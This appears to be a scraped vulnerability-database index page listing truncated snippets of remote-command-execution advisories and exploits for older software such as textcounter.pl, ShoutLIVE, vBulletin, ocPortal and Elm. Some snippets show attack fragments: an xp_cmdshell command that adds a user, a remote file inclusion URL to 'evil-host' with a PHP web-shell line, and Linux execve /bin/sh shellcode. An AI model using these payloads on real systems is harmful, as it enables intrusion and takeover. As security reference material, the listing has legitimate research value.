MattWrighttextcounter.pl远程执行命令漏洞

textcounter.pl是一个由Matt Wright编写的基于Web的记数器脚本，使用比较广泛。 某些早期版本的textcounter.pl脚本实现上存在输入验证漏洞，远程攻击者可以利用此漏洞以httpd进程的权限在主机上执行任意系统命令。问题在于程序脚本没有过滤用户输入中包含的一些特殊字符，远程攻击者可以向$DOCUMENTURI环境变量注入指定的值，脚本在处理的时候就会以Web守护程序的权限（root或nobody）在主机上执行攻击者指定的任意命令。 Matt Wright TextCounter1.2...

FreeWPS 2.11 - 'upload.php' Remote Command Execution

source: https://www.securityfocus.com/bid/20494/info FreeWPS is prone to a remote command-execution vulnerability. Attackers can exploit this issue to execute arbitrary system commands with the privileges of the webserver process. FreeWPS version 2.11 is vulnerable to this issue; other versions m...

How to execute system command in MSSQL-vulnerabilities and early warning-the black bar safety net

Assume that a host opening a 1 4 3 3 ports we have bySQL injectionor empty weak password for remote connection Can have what way to add a system administrator user? or perform a system command 1. XPCMDSHELL cmd.exe /c net user aaa bbb /add Everyone knows the way,the biggest benefit is the return...

The Windows environment via the MySQL to the SYSTEM status perform system commands-bug warning-the black bar safety net

Some time ago two about MySQL vulnerabilities in the MySQL CREATE FUNCTION mysql. func table allows injecting arbitrary function library vulnerability, the MySQL CREATE FUNCTION libc library allows arbitrary code execution vulnerabilities of a careful study of these two vulnerabilities, you can...

Limbo CMS Multiple Vulnerabilities

The remote web server contains a PHP application that is affected by numerous vulnerabilities. Description : The remote host is running Limbo CMS, a content-management system written in PHP. The remote version of this software is vulnerable to several flaws including : - If registerglobals is off...

ShoutLIVE <= 1.1.0 (savesettings.php) Remote Code Execution Exploit

No description provided by source. !/usr/bin/perl ShoutLIVE = 1.1.0 Remote Php Code Execution Based on: http://www.frsirt.com/bulletins/4109 Credits: Coded by DarkFig Website: http://disarm.free.fr/bohard/ Greetz: All AcidRoot/Bod members = use IO::Socket; use LWP::Simple; if!$ARGV1headers; print...

dotProject-2.0.1.txt

dotproject Date: Feb. 14 2006 Vendor: dotproject.net contacted Description: dotProject is a volunteer supported Project Management application. Details: The 'protection.php' script does not properly validate user-supplied input in the 'siteurl' parameter. Some user-supplied input is not checked...

QNX Neutrino 6.2.1 (phfont) Race Condition Local Root Exploit

Exploit for QNX platform in category local exploits ============================================================= QNX Neutrino 6.2.1 phfont Race Condition Local Root Exploit ============================================================= !/bin/sh email protected 18/10/2003 $ cksum...

Elm < 2.5.8 (Expires Header) Remote Buffer Overflow Exploit

No description provided by source. / Exploit code for the bug posted by Ulf Harnhammar metaurtelia.com http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0688.html Probably you will need to change SYSLOC and STRLOC to work on your box / include stdio.h include stdlib.h include string.h...

OS2A-1001.txt

OS2A ePing Arbitrary File Creation/Command Execution Vulnerability OS2A ID: OS2A1001 Status Published: 08/04/2005 Updated : 08/05/2005 Patch Released Class: File Creation/Command Execution Severity: CRITICAL Overview: ePing is a ping utility plugin for e107, a PHP-based content management system...

nbSMTP 0.99 - 'util.c' Client-Side Command Execution

/ nbSMTPfsexp.c nbSMTP v0.99 remote format string exploit by CoKi root@nosystem:/home/coki/audi ./nbSMTPfsexp nbSMTP v0.99 remote format string exploit by CoKi Use: ./nbSMTPfsexp options options: -t type of target system -r return address -s shellcode address -o offset -l targets list...

DMA-2005-0712b.txt

DMA2005-0712b - 'Nokia Affix Bluetooth btsrv/btobex poor use of system' Author: Kevin Finisterre Vendor: http://www-nrc.nokia.com/affix/, http://affix.sourceforge.net Product: 'affix' References: http://www.digitalmunition.com/DMA2005-0712b.txt Description: Affix is a Bluetooth Protocol Stack for...

Apache 1.3.x - HTDigest Realm Command Line Argument Buffer Overflow (1)

// source: https://www.securityfocus.com/bid/13537/info A buffer overflow vulnerability exists in the htdigest utility included with Apache. The vulnerability is due to improper bounds checking when copying user-supplied realm data into local buffers. By supplying an overly long realm value to th...

Trillian Basic 3.0 - .png Image Processing Buffer Overflow

Trillian Basic 3.0 - .png Image Processing Buffer Overflow See-security Technologies ltd. http://www.see-security.com Trillian 3.0 PNG Image Processing Buffer overflow Exploit Discovered and coded by: Tal zeltzer import sys import struct Addresses are compatible with Windows XP Service Pack 1...

vBulletin 3.0.6 - PHP Code Injection

Tested on vBulletin Version 3.0.1 /str0ke http://www.xxx.net/misc.php?do=page&template=$systemid SCAN Associates Security Advisory http://www.scan-associates.net Proof of concept ================ http://site.com/misc.php?do=page&template=$phpinfo milw0rm.com 2005-02-22...

ocPortal 1.0.3 Remote File Inclusion

No description provided by source. http://localhost/ocp-103/index.php?reqpath=http ://evil-host/ On your evil host you must put scipt funcs.php. Example of funcs.php if your host doesn't support php. ?php $com = $GET"com"; system "$com"; ? Example of funcs.php if your host support php. ?php echo...

linux/x86 execve /bin/sh 29 bytes

No description provided by source. / c1999-2003 Shellcode Research http://www.shellcode.com.ar execve/bin/sh for linux x86 29 bytes by Matias Sedalo xorl %ebx, %ebx pushl %ebx leal 0x17%ebx,%eax int $0x80 cdq pushl $0x68732f6e pushl $0x69622f2f movl %esp, %ebx pushl %eax pushl %ebx movl %esp, %ec...

RHEL 2.1 : krb5 (RHSA-2003:021)

Updated packages fix a vulnerability found in the Kerberos FTP client distributed with the Red Hat Linux Advanced Server krb5 packages. Updated 06 Feb 2003 Added fixed packages for Advanced Workstation 2.1. For Advanced Workstation 2.1 these packages also fix CVE-2002-1235 as described in...

CVE-2004-0047

Multiple programs in trr19 1.0 do not properly drop privileges before executing a system command, which could allow local users to gain privileges...

CVE-2004-0047: Undefined Security Weakness

Multiple programs in trr19 1.0 do not properly drop privileges before executing a system command, which could allow local users to gain privileges...